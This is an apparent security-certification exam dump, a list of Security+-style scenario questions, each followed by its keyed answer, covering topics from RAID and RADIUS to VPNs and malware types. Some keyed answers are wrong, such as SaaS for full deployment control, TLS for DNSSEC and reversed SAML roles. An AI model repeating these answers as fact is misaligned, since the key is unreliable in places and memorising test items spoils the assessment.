An office recently completed digitizing all its paper records. Joe, the data custodian, has been tasked with the disposal of the paper files, which include: Intellectual property Payroll records Financial information Drug screening results Which of the following is the BEST way to dispose of these items?
Pulping
Joe recently assumed the role of data custodian for this organization. While cleaning out an unused storage safe, he discovers several hard drives that are labeled "unclassified" and awaiting destruction. The hard drives are obsolete and cannot be installed in any of his current computing equipment. Which of the following is the BEST method for disposing of the hard drives?
Pulverizing
A small retail business has a local store and a newly established and growing online storefront. A recent storm caused a power outage to the business and the local ISP, resulting in several hours of lost sales and delayed order processing. The business owner now needs to ensure two things: Protection from power outages Always-available connectivity in case of an outage The owner has decided to implement battery backups for the computer equipment. Which of the following would BEST fulfill the owner's second need?
Purchase services from a cloud provider for high availability.
A company is implementing MFA for all applications that store sensitive data. The IT manager wants MFA to be non-disruptive and user friendly. Which of the following technologies should the IT manager use when implementing MFA?
Push notifications
A company is deploying a new VoIP phone system. They require 99.999% uptime for their phone service and are concerned about their existing data network interfering with the VoIP phone system. The core switches in the existing data network are almost fully saturated. Which of the following options will pro-vide the best performance and availability for both the VoIP traffic, as well as the traffic on the existing data network?
Put the VoIP network into a different VLAN than the existing data network.
An organization has created a review process to determine how to best handle data with different sensitivity levels. The process includes the following requirements: Soft copy PII must be encrypted. Hard copy PII must be placed in a locked container. Soft copy PHI must be encrypted and audited monthly. Hard copy PHI must be placed in a locked container and inventoried monthly. Locked containers must be approved and designated for document storage. Any violations must be reported to the Chief Security Officer (CSO). While searching for coffee in the kitchen, an employee unlocks a cabinet and discovers a list of customer names and phone numbers. Which of the following actions should the employee take?
Put the document back in the cabinet, lock the cabinet, and report the incident to the CSO
A company wants to provide centralized authentication for its wireless system. The wireless authentication system must integrate with the directory back end. Which of the following is a AAA solution that will provide the required wireless authentication?
RADIUS
A system administrator needs to implement 802.1x whereby when a user logs into the network, the authentication server communicates to the network switch and assigns the user to the proper VLAN. Which of the following protocols should be used?
RADIUS
A technician is implementing 802.1X with dynamic VLAN assignment based on a user Active Directory group membership. Which of the following configurations supports the VLAN definitions?
RADIUS attribute
A systems administrator wants to implement a wireless protocol that will allow the organization to authenticate mobile devices prior to providing the user with a captive portal login. Which of the following should the systems administrator configure?
RADIUS federation
Multiple organizations operating in the same vertical want to provide seamless wireless access for their employees as they visit the other organizations. Which of the following should be implemented if all the organizations use the native 802.1x client on their mobile devices?
RADIUS federation
A junior systems administrator noticed that one of two hard drives in a server room had a red error notification. The administrator removed the hard drive to replace it but was unaware that the server was configured in an array. Which of the following configurations would ensure no data is lost?
RAID 1
A datacenter engineer wants to ensure an organization's servers have high speed and high redundancy and can sustain the loss of two physical disks in an array. Which of the following RAID configurations should the engineer implement to deliver this functionality?
RAID 10
A network administrator is trying to provide the most resilient hard drive configuration in a server. With five hard drives, which of the following is the MOST fault-tolerant configuration?
RAID 6
During a forensic investigation, which of the following must be addressed FIRST according to the order of volatility?
RAM
A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?
RAT
A security auditor is performing a vulnerability scan to find out if mobile applications used in the organization are secure. The auditor discovers that one application has been accessed remotely with no legitimate account credentials. After investigating, it seems the application has allowed some users to bypass authentication of that application. Which of the following types of malware allow such a compromise to take place? (Choose two.)
RAT Backdoor
An organization has determined it can tolerate a maximum of three hours of downtime. Which of the following has been specified?
RTO - Recovery Time Objective
During an audit, the auditor requests to see a copy of the identified mission-critical applications as well as their disaster recovery plans. The company being audited has an SLA around the applications it hosts. With which of the following is the auditor MOST likely concerned?
RTO/RPO
Which of the following cryptographic attacks would salting of passwords render ineffective?
Rainbow tables
Which of the following uses precomputed hashes to guess passwords?
Rainbow tables
Which of the following characteristics differentiate a rainbow table attack from a brute force attack? (Select two.)
Rainbow tables must include precomputed hashes. Rainbow table attacks bypass maximum failed login restrictions.
A security consultant is analyzing data from a recent compromise. The following data points are documented: Access to data on share drives and certain networked hosts was lost after an employee logged in to an interactive session as a privileged user. The data was unreadable by any known commercial software. The issue spread through the enterprise via SMB only when certain users accessed data. Removal instructions were not available from any major antivirus vendor. Which of the following types of malware is this an example of?
Ransomware
A user receives a security alert pop-up from the host-based IDS, and a few minutes later notices a document on the desktop has disappeared and in its place is an odd filename with no icon image. When clicking on this icon, the user receives a system notification that it cannot find the correct program to use to open this file. Which of the following types of malware has MOST likely targeted this workstation?
Ransomware
After downloading third-party software, a user begins receiving continuous pop-up messages stating the Windows antivirus is outdated. The user is unable to access any files or programs until the subscription is renewed with Bitcoin. Which of the following types of attacks is being executed?
Ransomware
Ann, a customer, is reporting that several important files are missing from her workstation. She recently received communication from an unknown party who is requesting funds to restore the files. Which of the following attacks has occurred?
Ransomware
The help desk received a call from a user who was trying to access a set of files from the day before but received the following error message: File format not recognized. Which of the following types of malware MOST likely caused this to occur?
Ransomware
A security engineer is faced with competing requirements from the networking group and database administrators. The database administrators would like ten application servers on the same subnet for ease of administration, whereas the networking group would like to segment all applications from one another. Which of the following should the security administrator do to rectify this issue?
Recommend classifying each application into like security groups and segmenting the groups from one another
A penetration tester is crawling a target website that is available to the public. Which of the following represents the actions the penetration tester is performing?
Reconnaissance
Which of the following penetration testing concepts is being used when an attacker uses public Internet databases to enumerate and learn more about a target?
Reconnaissance
A company recently experienced a security incident in which its domain controllers were the target of a DoS attack. In which of the following steps should technicians connect domain controllers to the network and begin authenticating users again?
Recovery
While working on an incident, Joe, a technician, finished restoring the OS and applications on a workstation from the original media. Joe is about to begin copying the user's files back onto the hard drive. Which of the following incident response steps is Joe working on now?
Recovery
Which of the following is a major difference between XSS attacks and remote code exploits?
Remote code exploits aim to escalate attackers' privileges, while XSS attacks aim to gain access only
Which of the following BEST describes a network-based attack that can allow an attacker to take full control of a vulnerable host?
Remote exploit
A coffee company, which operates a chain of stores across a large geographical area, is deploying tablets to use as point-ofsale devices. A security consultant has been given the following requirements: The cashiers must be able to log in to the devices quickly. The devices must be compliant with applicable regulations for credit card usage. The risk of loss or theft of the devices must be minimized. If devices are lost or stolen, all data must be removed from the device. The devices must be capable of being managed from a centralized location. Which of the following should the security consultant configure in the MDM polices for the tablets? (Choose two.)
Remote wipe GPS tagging
A company recently implemented a new security system. In the course of configuration, the security administrator adds the following entry: #Whitelist USB\VID_13FE&PID_4127&REV_0100 Which of the following security technologies is MOST likely being configured?
Removable media control
A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?
Remove malware and restore the system to normal operation
Which of the following impacts are associated with vulnerabilities in embedded systems? (Choose two.)
Repeated exploitation due to unpatchable firmware Key reuse and collision issues due to decentralized management.
A new security policy in an organization requires that all file transfers within the organization be completed using applications that provide secure transfer. Currently, the organization uses FTP and HTTP to transfer files. Which of the following should the organization implement in order to be compliant with the new policy?
Replace FTP with SFTP and replace HTTP with TLS
An attacker uses a network sniffer to capture the packets of a transaction that adds $20 to a gift card. The attacker then user a function of the sniffer to push those packets back onto the network again, adding another $20 to the gift card. This can be done many times. Which of the following describes this type of attack?
Replay attack
An external auditor visits the human resources department and performs a physical security assessment. The auditor observed documents on printers that are unclaimed. A closer look at these documents reveals employee names, addresses, ages, and types of medical and dental coverage options each employee has selected. Which of the following is the MOST appropriate actions to take?
Report to the human resources manager that their personnel are violating a privacy policy
A bank requires tellers to get manager approval when a customer wants to open a new account. A recent audit shows that there have been four cases in the previous year where tellers opened accounts without management approval. The bank president thought separation of duties would prevent this from happening. In order to implement a true separation of duties approach the bank could:
Require all new accounts to be handled by someone else other than a teller since they have different duties
A company is allowing a BYOD policy for its staff. Which of the following is a best practice that can decrease the risk of users jailbreaking mobile devices?
Require applications to be digitally signed.
A Chief Executive Officer (CEO) suspects someone in the lab testing environment is stealing confidential information after working hours when no one else is around. Which of the following actions can help to prevent this specific threat?
Require swipe-card access to enter the lab
A software development company needs to augment staff by hiring consultants for a high-stakes project. The project has the following requirements: Consultants will have access to highly confidential, proprietary data. Consultants will not be provided with company-owned assets. Work needs to start immediately. Consultants will be provided with internal email addresses for communications. Which of the following solutions is the BEST method for controlling data exfiltration during this project?
Require that all consultant activity be restricted to a secure VDI environment
The Chief Information Officer (CIO) has decided to add two-factor authentication along with the use of passwords when logging on to the network. Which of the following should be implemented to BEST accomplish this requirement?
Require users to insert a smart card when logging on
Which of the following BEST describes an important security advantage yielded by implementing vendor diversity?
Resiliency
A user is unable to obtain an IP address from the corporate DHCP server. Which of the following is MOST likely the cause?
Resource exhaustion
A systems administrator has isolated an infected system from the network and terminated the malicious process from executing. Which of the following should the administrator do NEXT according to the incident response process?
Restore lost data from a backup.
A copy of a highly confidential salary report was recently found on a printer in the IT department. The human resources department does not have this specific printer mapped to its devices, and it is suspected that an employee in the IT department browsed to the share where the report was located and printed it without authorization. Which of the following technical controls would be the BEST choice to immediately prevent this from happening again?
Restrict access to the share where the report resides to only human resources employees and enable auditing
A water utility company has seen a dramatic increase in the number of water pumps burning out. A malicious actor was attacking the company and is responsible for the increase. Which of the following systems has the attacker compromised?
SCADA
Which of the following systems, if compromised, may cause great danger to the integrity of water supplies and their chemical levels?
SCADA
A company was recently audited by a third party. The audit revealed the company's network devices were transferring files in the clear. Which of the following protocols should the company use to transfer files?
SCP
A security administrator wishes to implement a secure a method of file transfer when communicating with outside organizations. Which of the following protocols would BEST facilitate secure file transfers? (Choose two.)
SCP FTPS
A security administrator is implementing a secure method that allows developers to place files or objects onto a Linux server. Developers are required to log in using a username, password, and asymmetric key. Which of the following protocols should be implemented?
SFTP
As part of a corporate merger, two companies are combining resources. As a result, they must transfer files through the Internet in a secure manner. Which of the following protocols would BEST meet this objective? (Choose two.)
SFTP HTTPS
In an effort to reduce data storage requirements, some company devices to hash every file and eliminate duplicates. The data processing routines are time sensitive so the hashing algorithm is fast and supported on a wide range of systems. Which of the following algorithms is BEST suited for this purpose?
SHA
When generating a request for a new x.509 certificate for securing a website, which of the following is the MOST appropriate hashing algorithm?
SHA
Which of the following cryptographic algorithms is irreversible?
SHA-256
An organization is struggling to differentiate threats from normal traffic and access to systems. A security engineer has been asked to recommend a system that will aggregate data and provide metrics that will assist in identifying malicious actors or other anomalous activity throughout the environment. Which of the following solutions should the engineer recommend?
SIEM
Which of the following is a document that contains detailed information about actions that include how something will be done, when the actions will be performed, and penalties for failure?
SLA
A security consultant discovers that an organization is using the PCL protocol to print documents, utilizing the default driver and print settings. Which of the following is the MOST likely risk in this situation?
SNMP data leaving the printer will not be properly encrypted.
The Chief Executive Officer (CEO) received an email from the Chief Financial Officer (CFO), asking the CEO to send financial details. The CEO thought it was strange that the CFO would ask for the financial details via email. The email address was correct in the "From" section of the email. The CEO clicked the form and sent the financial information as requested. Which of the following caused the incident?
SPF not enabled
An organization's primary datacenter is experiencing a two-day outage due to an HVAC malfunction. The node located in the datacenter has lost power and is no longer operational, impacting the ability of all users to connect to the alternate datacenter. Which of the following BIA concepts BEST represents the risk described in this scenario?
SPoF
An organization wants to deliver streaming audio and video from its home office to remote locations all over the world. It wants the stream to be delivered securely and protected from intercept and replay attacks. Which of the following protocols is BEST suited for this purpose?
SRTP
Which of the following should be used to implement voice encryption?
SRTP
A customer calls a technician and needs to remotely connect to a web server to change some code manually. The technician needs to configure the user's machine with protocols to connect to the Unix web server, which is behind a firewall. Which of the following protocols does the technician MOST likely need to configure?
SSH
A server administrator needs to administer a server remotely using RDP, but the specified port is closed on the outbound firewall on the network. The access the server using RDP on a port other than the typical registered port for the RDP protocol?
SSH
A manager wants to distribute a report to several other managers within the company. Some of them reside in remote locations that are not connected to the domain but have a local server. Because there is sensitive data within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is not an option. Which of the following protocols should be implemented to distribute the report securely? (Choose three.)
SSH FTPS HTTPS
A security analyst has been asked to implement secure protocols to prevent cleartext credentials from being transmitted over the internal network. Which of the following protocols is the security analyst MOST likely to implement? (Choose two.)
SSH SFTP
An application developer is designing an application involving secure transports from one service to another that will pass over port 80 for a request. Which of the following secure protocols is the developer MOST likely to use?
SSL
While monitoring the SIEM, a security analyst observes traffic from an external IP to an IP address of the business network on port 443. Which of the following protocols would MOST likely cause this traffic?
SSL
A security engineer wants to implement a site-to-site VPN that will require SSL certificates for mutual authentication. Which of the following should the engineer implement if the design requires client MAC address to be visible across the tunnel?
SSL VPN
The POODLE attack is an MITM exploit that affects:
SSLv3.0 with CBC mode cipher - A flaw was found in the way SSL 3.0 handled padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.
A company wants to implement an access management solution that allows employees to use the same usernames and passwords for multiple applications without having to keep multiple credentials synchronized. Which of the following solutions would BEST meet these requirements?
SSO
The Chief Security Officer (CSO) at a major hospital wants to implement SSO to help improve security in the environment and protect patient data, particularly at shared terminals. The Chief Risk Officer (CRO) is concerned that training and guidance have not been provided to frontline staff, and a risk analysis has not been performed. Which of the following is the MOST likely cause of the CRO's concerns?
SSO would reduce the resilience and availability of systems if the identity provider goes offline.
A company wishes to move all of its services and applications to a cloud provider but wants to maintain full control of the deployment, access, and provisions of its services to its users. Which of the following BEST represents the required cloud deployment model?
SaaS
Which of the following is a random value appended to a credential that makes the credential less susceptible to compromise when hashed?
Salt
Given the following: md5.exe file1.txt AD1FAB3210 md5.exe file2.txt AD1FAB3210 Which of the following concepts of cryptography is shown?
Salting
Which of the following would provide a safe environment for an application to access only the resources needed to function while not having access to run at the system level?
Sandbox
A security analyst needs a solution that can execute potential malware in a restricted and isolated environment for analysis. In which of the following technologies is the analyst interested?
Sandboxing
Which of the following is a deployment concept that can be used to ensure only the required OS access is exposed to software applications?
Sandboxing
Which of the following solutions should an administrator use to reduce the risk from an unknown vulnerability in a third-party software application?
Sandboxing
Which of the following strategies should a systems architect use to minimize availability risks due to insufficient storage capacity?
Scalability
A small business just recovered from a ransomware attack against its file servers by purchasing the decryption keys from the attackers. The issue was triggered by a phishing email and IT administrator wants to ensure it does not happen again. Which of the following should the IT administrator do FIRST after recovery?
Scan the NAS for residual or dormant malware and take new daily backups that are tested on a frequent basis.
*LAB* Company Manages Smart Phone
Screen Lock Strong Password Device Encryption Remote Wipe GPS Tracking Pop-up blocker
An organization is concerned about video emissions from users' desktops. Which of the following is the BEST solution to implement?
Screen filters
A consumer purchases an exploit from the dark web. The exploit targets the online shopping cart of a popular website, allowing the shopper to modify the price of an item at checkout. Which of the following BEST describes this type of user?
Script kiddie
An actor downloads and runs a program against a corporate login page. The program imports a list of usernames and passwords, looking for a successful attempt. Which of the following terms BEST describes the actor in this situation?
Script kiddie
Which of the following attackers generally possesses minimal technical knowledge to perform advanced attacks and uses widely available tools as well as publicly available information?
Script kiddle
Which of the following documents would provide specific guidance regarding ports and protocols that should be disabled on an operating system?
Secure configuration guide
When building a hosted datacenter, which of the following is the MOST important consideration for physical security within the datacenter?
Secure enclosures
The CSIRT is reviewing the lessons learned from a recent incident. A worm was able to spread unhindered throughout the network and infect a large number of computers and server. Which of the following recommendations would be BEST to mitigate the impacts of a similar incident in the future?
Segment the network with firewalls.
A manager suspects that an IT employee with elevated database access may be knowingly modifying financial transactions for the benefit of a competitor. Which of the following practices should the manager implement to validate the concern?
Separation of duties
An audit has revealed that database administrators are also responsible for auditing database changes and backup logs. Which of the following access control methodologies would BEST mitigate this concern?
Separation of duties
An organization has a policy in place that states the person who approves firewall controls/changes cannot be the one implementing the changes. Which of the following is this an example of?
Separation of duties
To help prevent one job role from having sufficient access to create, modify, and approve payroll data, which of the following practices should be employed?
Separation of duties
Which of the following policies would help an organization identify and mitigate potential single points of failure in the company's IT/security operations?
Separation of duties
During a third-party audit, it is determined that a member of the firewall team can request, approve, and implement a new ruleset on the firewall. Which of the following will the audit team most l likely recommend during the audit out brief?
Separation of duties policy for the firewall team
Although a web enabled application appears to only allow letters in the comment field of a web form, malicious user was able to carry a SQL injection attack by sending special characters through the web comment field. Which of the following has the application programmer failed to implement?
Server side validation
A law office has been leasing dark fiber from a local telecommunications company to connect a remote office to company headquarters. The telecommunications company has decided to discontinue its dark fiber product and is offering an MPLS connection, which the law office feels is too expensive. Which of the following is the BEST solution for the law office?
Site-to-site VPN
A network technician is setting up a new branch for a company. The users at the new branch will need to access resources securely as if they were at the main location. Which of the following networking concepts would BEST accomplish this?
Site-to-site VPN
An organization is setting up a satellite office and wishes to extend the corporate network to the new site. Which of the following is the BEST solution to allow the users to access corporate resources while focusing on usability and security?
Site-to-site VPN
Users in a corporation currently authenticate with a username and password. A security administrator wishes to implement two-factor authentication to improve security. Which of the following authentication methods should be deployed to achieve this goal?
Smart card
When used together, which of the following qualify as two-factor authentication?
Smart card and PIN
A first responder needs to collect digital evidence from a compromised headless virtual host. Which of the following should the first responder collect FIRST?
Snapshot
A technician is required to configure updates on a guest operating system while maintaining the ability to quickly revert the changes that were made while testing the updates. Which of the following should the technician implement?
Snapshots
Joe, a new employee, discovered a thumb drive with the company's logo on it while walking in the parking lot. Joe was curious as to the contents of the drive and placed it into his work computer. Shortly after accessing the contents, he noticed the machine was running slower, started to reboot, and displayed new icons on the screen. Which of the following types of attacks occurred?
Social engineering
Joe, an employee, asks a coworker how long ago Ann started working at the help desk. The coworker expresses surprise since nobody named Ann works at the help desk. Joe mentions that Ann called several people in the customer service department to help reset their passwords over the phone due to unspecified "server issues". Which of the following has occurred?
Social engineering
The president of a company that specializes in military contracts receives a request for an interview. During the interview, the reporter seems more interested in discussing the president's family life and personal history than the details of a recent company success. Which of the following security concerns is this MOST likely an example of?
Social engineering
Phishing emails frequently take advantage of high-profile catastrophes reported in the news. Which of the following principles BEST describes the weakness being exploited?
Social proof
A software developer wants to ensure that the application is verifying that a key is valid before establishing SSL connections with random remote hosts on the Internet. Which of the following should be used in the code? (Choose two.)
Software code private key OCSP
An organization discovers that unauthorized applications have been installed on company-provided mobile phones. The organization issues these devices, but some users have managed to bypass the security controls. Which of the following is the MOST likely issue, and how can the organization BEST prevent this from happening?
Some advanced users are jailbreaking the OS and bypassing the controls. Implement an MDM solution to control access to company resources.
The IT department's on-site developer has been with the team for many years. Each time an application is released, the security team is able to identify multiple vulnerabilities. Which of the following would BEST help the team ensure the application is ready to be released to production?
Submit the application to QA before releasing it.
A government organization recently contacted three different vendors to obtain cost quotes for a desktop PC refresh. The quote from one of the vendors was significantly lower than the other two and was selected for the purchase. When the PCs arrived, a technician determined some NICs had been tampered with. Which of the following MOST accurately describes the security risk presented in this situation?
Supply chain
A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST?
Survey threat feeds from services inside the same industry.
When performing data acquisition on a workstation, which of the following should be captured based on memory volatility? (Choose two.)
Swap/pagefile RAM
A security analyst is working on a project that requires the implementation of a stream cipher. Which of the following should the analyst use?
Symmetric algorithm
Two users must encrypt and transmit large amounts of data between them. Which of the following should they use to encrypt and transmit the data?
Symmetric algorithm
A recent internal audit is forcing a company to review each internal business unit's VMs because the cluster they are installed on is in danger of running out of computer resources. Which of the following vulnerabilities exists?
System sprawl
Joe, a security administrator, needs to extend the organization's remote access functionality to be used by staff while travelling. Joe needs to maintain separate access control functionalities for internal, external, and VOIP services. Which of the following represents the BEST access technology for Joe to use?
TACACS+
Which of the following can be used to control specific commands that can be executed on a network infrastructure device?
TACACS+
An organization is expanding its network team. Currently, it has local accounts on all network devices, but with growth, it wants to move to centrally managed authentication. Which of the following are the BEST solutions for the organization? (Choose two.)
TACACS+ RADIUS
A systems administrator is implementing a remote access method for the system that will utilize GUI. Which of the following protocols would be BEST suited for this?
TLS
An organization wishes to provide better security for its name resolution services. Which of the following technologies BEST supports the deployment of DNSSEC at the organization?
TLS
A systems administrator has implemented multiple websites using host headers on the same server. The server hosts two websites that require encryption and other websites where encryption is optional. Which of the following should the administrator implement to encrypt web traffic for the required websites?
TLS host certificate
During a security audit of a company's network, unsecure protocols were found to be in use. A network administrator wants to ensure browser-based access to company switches is using the most secure protocol. Which of the following protocols should be implemented?
TLS1.2
A director of IR is reviewing a report regarding several recent breaches. The director compiles the following statistic's -Initial IR engagement time frame -Length of time before an executive management notice went out -Average IR phase completion The director wants to use the data to shorten the response time. Which of the following would accomplish this?
Tabletop exercise
Systems administrator and key support staff come together to simulate a hypothetical interruption of service. The team updates the disaster recovery processes and documentation after meeting. Which of the following describes the team's efforts?
Tabletop exercise
A security auditor is testing perimeter security in a building that is protected by badge readers. Which of the following types of attacks would MOST likely gain access?
Tailgating
A user receives an email from ISP indicating malicious traffic coming from the user's home network is detected. The traffic appears to be Linux-based, and it is targeting a website that was recently featured on the news as being taken offline by an Internet attack. The only Linux device on the network is a home surveillance camera system. Which of the following BEST describes what is happening?
The camera system is infected with a bot.
A user typically works remotely over the holidays using a web-based VPN to access corporate resources. The user reports getting untrusted host errors and being unable to connect. Which of the following is MOST likely the cause?
The certificate has expired
A security engineer deploys a certificate from a commercial CA to the RADIUS server for use with the EAP-TLS wireless network. Authentication is failing, so the engineer examines the certificate's properties: Issuer: (A commercial CA) Valid from: (yesterday's date) Valid to: (one year from yesterday's date) Subject: CN=smithco.com Public key: RSA (2048 bits) Enhanced key usage: Client authentication (1.3.6.1.5.5.7.3.2) Key usage: Digital signature, key encipherment (a0) Which of the following is the MOST likely cause of the failure?
The certificate is missing the proper OID.
After correctly configuring a new wireless enabled thermostat to control the temperature of the company's meeting room, Joe, a network administrator determines that the thermostat is not connecting to the internet-based control system. Joe verifies that the thermostat received the expected network parameters and it is associated with the AP. Additionally, the other wireless mobile devices connected to the same wireless network are functioning properly. The network administrator verified that the thermostat works when tested at his residence. Which of the following is the MOST likely reason the thermostat is not connecting to the internet?
The company implements a captive portal
A systems administrator is receiving multiple alerts from the company NIPS. A review of the NIPS logs shows the following: reset both: 70.32.200.2:3194 -> 10.4.100.4:80 buffer overflow attempt reset both: 70.32.200.2:3230 -> 10.4.100.4:80 directory traversal attack reset client: 70.32.200.2:4019 -> 10.4.100.4:80 Blind SQL injection attack Which of the following should the systems administrator report back to management?
The company web server was attacked by an external source, and the NIPS blocked the attack.
A security engineer at a manufacturing company is implementing a third-party cloud application. Rather than creating users manually in the application, the engineer decides to use the SAML protocol. Which of the following is being used for this implementation?
The manufacturing company is the service provider, and the cloud company is the identity provider.
An employee workstation with an IP address of 204.211.38.211/24 reports it is unable to submit print jobs to a network printer at 204.211.38.52/24 after a firewall upgrade. The active firewall rules are as follows: IP Address Protocol Port Number Action 204.211.38.1/24 ALL ALL Permit 204.211.38.211/24 ALL ALL Permit 204.211.38.52/24 UDP 631 Permit 204.211.38.52/24 TCP 25 Deny Assuming port numbers have not been changed from their defaults, which of the following should be modified to allow printing to the network printer?
The permit statement for 204.211.38.52/24 should be changed to TCP port 631 instead of UDP
Which of the following best describes the initial processing phase used in mobile device forensics?
The phone and storage cards should be examined as a complete unit after examining the removable storage cards separately.
A company has three divisions, each with its own networks and services. The company decides to make its secure web portal accessible to all employees utilizing their existing usernames and passwords. The security administrator has elected to use SAML to support authentication. In this scenario, which of the following will occur when users try to authenticate to the portal? (Choose two.)
The portal will request an authentication ticket from each network that is transitively trusted. The back-end networks will function as an identity provider and issue an authentication assertion.
Which of the following BEST explains "likelihood of occurrence"?
The probability that a threat actor will target and attempt to exploit an organization's systems
Which of the following explains why vendors publish MD5 values when they provide software patches for their customers to download over the Internet?
The recipient can verify integrity of the software patch.
A help desk is troubleshooting user reports that the corporate website is presenting untrusted certificate errors to employees and customers when they visit the website. Which of the following is the MOST likely cause of this error, provided the certificate has not expired?
The root CA has revoked the certificate of the intermediate CA
Which of the following explains why a vulnerability scan might return a false positive?
The scan is performed at a time of day when the vulnerability does not exist.
Which of the following network vulnerability scan indicators BEST validates a successful, active scan?
The scan output lists SQL injection attack vectors.
In determining when it may be necessary to perform a credentialed scan against a system instead of a non-credentialed scan, which of the following requirements is MOST likely to influence this decision?
The scanner must be able to audit file system permissions
Ann, a security analyst from a large organization, has been instructed to use another, more effective scanning tool. After installing the tool on her desktop, she started a full vulnerability scan. After running the scan for eight hours. Ann finds that there were no vulnerabilities identified. Which of the following is the MOST likely cause of not receiving any vulnerabilities on the network?
The security analyst credentials did not allow full administrative rights for the scanning tool.
An analyst has determined that a server was not patched and an external actor exfiltrated data on port 139. Which of the following sources should the analyst review to BEST ascertain how the incident could have been prevented?
The security logs
A security administrator is configuring a new network segment, which contains devices that will be accessed by external users, such as web and FTP server. Which of the following represents the MOST secure way to configure the new network segment?
The segment should be placed on an extranet, and the firewall rules should be configured to allow both internal and external traffic.
An email recipient is unable to open a message encrypted through PKI that was sent from another organization. Which of the following does the recipient need to decrypt the message?
The sender's public key
Due to regulatory requirements, server in a global organization must use time synchronization. Which of the following represents the MOST secure method of time synchronization?
The server should connect to internal Stratum 0 NTP servers for synchronization
A malicious system continuously sends an extremely large number of SYN packets to a server. Which of the following BEST describes the resulting effect?
The server will exhaust its memory maintaining half-open connections
A security analyst received an after-hours alert indicating that a large number of accounts with the suffix "admin" were locked out. The accounts were all locked out after five unsuccessful login attempts, and no other accounts on the network triggered the same alert. Which of the following is the BEST explanation for these alerts?
The standard naming convention makes administrator accounts easy to identify and they were targeted for an attack.
A consultant has been tasked to assess a client's network. The client reports frequent network outages. Upon viewing the spanning tree configuration, the consultant notices that an old and law performing edge switch on the network has been elected to be the root bridge. Which of the following explains this scenario?
The switch has the lowest MAC address
Six months into development, the core team assigned to implement a new internal piece of software must convene to discuss a new requirement with the stake holders. A stakeholder identified a missing feature critical to the organization, which must be implemented. The team needs to validate the feasibility of the newly introduced requirement and ensure it does not introduce new vulnerabilities to the software and other applications that will integrate with it. Which of the following BEST describes what the company?
The system analysis phase of SSDSLC
When accessing a popular website, a user receives a warming that the certificate for the website is not valid. Upon investigation, it was noted that the certificate is not revoked and the website is working fine for other users. Which of the following is the MOST likely cause for this?
The system date on the user's device is out of sync.
An organization has the following written policies: Users must request approval for non-standard software installation. Administrators will perform all software installations. Software must be installed from a trusted repository. A recent security audit identified crypto-currency software installed on one user's machine. There are no indications of compromise on this machine. Which of the following is the MOST likely cause of this policy violation and the BEST remediation to prevent a reoccurrence?
The user installed the software on the machine; implement technical controls to enforce the written policies
A user of the wireless network is unable to gain access to the network. The symptoms are: 1.) Unable to connect to both internal and Internet resources 2.) The wireless icon shows connectivity but has no network access The wireless network is WPA2 Enterprise and users must be a member of the wireless security group to authenticate. Which of the following is the MOST likely cause of the connectivity issues?
The user's laptop only supports WPA and WEP
Which of the following may indicate a configuration item has reached end-of-life?
The vendor has not published security patches recently.
An auditor is performing an assessment of a security appliance with an embedded OS that was vulnerable during the last two assessments. Which of the following BEST explains the appliance's vulnerable state?
The vendor has not supplied a patch for the appliance
A user clicked an email link that led to a website than infected the workstation with a virus. The virus encrypted all the network shares to which the user had access. The virus was not deleted or blocked by the company's email filter, website filter, or antivirus. Which of the following describes what occurred?
The virus was a zero-day attack.
Which of the following is a benefit of credentialed vulnerability scans?
The vulnerability scanner is able to inventory software on the target.
A black hat hacker is enumerating a network and wants to remain covert during the process. The hacker initiates a vulnerability scan. Given the task at hand the requirement of being covert, which of the following statements BEST indicates that the vulnerability scan meets these requirements?
The vulnerability scanner is performing in network sniffer mode.
A systems administrator has installed a new UTM that is capable of inspecting SSL/TLS traffic for malicious payloads. All inbound network traffic coming from the Internet and terminating on the company's secure web servers must be inspected. Which of the following configurations would BEST support this requirement?
The web servers' CA full certificate chain must be installed on the UTM.
The website of a bank that an organization does business with is being reported as untrusted by the organization's web browser. A security analyst has been assigned to investigate. The analyst discovers the bank recently merged with another local bank and combined names. Additionally, the user's bookmark automatically redirects to the website of the newly named bank. Which of the following is the MOST likely cause of the issue?
The website's certificate still has the old bank's name
A security analyst reviews the following output: File name: somefile.pdf File MD5: E289F21CD33E4F57890DDEA5CF267ED2 File size: 1.9 Mb Created by: Jan Smith Deleted by: Jan Smith Date Deleted: October 01, 2015 8:43:21 EST The analyst loads the hash into the SIEM to discover if this hash is seen in other parts of the network. After inspecting a large number of files, the security analyst reports the following: File hash: E289F21CD33E4F57890DDEA5CF267ED2 Files found: somestuff.xls, somefile.pdf, nofile.doc Which of the following is the MOST likely cause of the hash being found in other areas?
There are md5 hash collisions
A systems administrator needs to configure an SSL remote access VPN according to the following organizational guidelines: The VPN must support encryption of header and payload. The VPN must route all traffic through the company's gateway. Which of the following should be configured on the VPN concentrator?
Tunnel mode
An organization has implemented an IPSec VPN access for remote users. Which of the following IPSec modes would be the MOST secure for this organization to implement?
Tunnel mode
Which of the following is a technical preventive control?
Two-factor authentication
A company is planning to encrypt the files in several sensitive directories of a file server with a symmetric key. Which of the following could be used?
TwoFish
Before an infection was detected, several of the infected devices attempted to access a URL that was similar to the company name but with two letters transposed. Which of the following BEST describes the attack vector used to infect the devices?
Typo squatting
A recent penetration test revealed several issues with a public-facing website used by customers. The testers were able to: Enter long lines of code and special characters Crash the system Gain unauthorized access to the internal application server Map the internal network The development team has stated they will need to rewrite a significant portion of the code used, and it will take more than a year to deliver the finished product. Which of the following would be the BEST solution to introduce in the interim?
UTM
A security technician has been receiving alerts from several servers that indicate load balancers have had a significant increase in traffic. The technician initiates a system scan. The scan results illustrate that the disk space on several servers has reached capacity. The scan also indicates that incoming internet traffic to the servers has increased. Which of the following is the MOST likely cause of the decreased disk space?
Unauthorized software
A security analyst is performing a manual audit of captured data from a packet analyzer. The analyst looks for Base64 encoded strings and applies the filter http.authbasic. Which of the following BEST describes what the analyst is looking for?
Unencrypted credentials
Proprietary information was sent by an employee to a distribution list that included external email addresses. Which of the following BEST describes the incident that occurred and the threat actor in this scenario?
Unintentional disclosure by an insider
Which of the following vulnerability types would the type of hacker known as a script kiddie be MOST dangerous against?
Unpatched exploitable internet-facing services
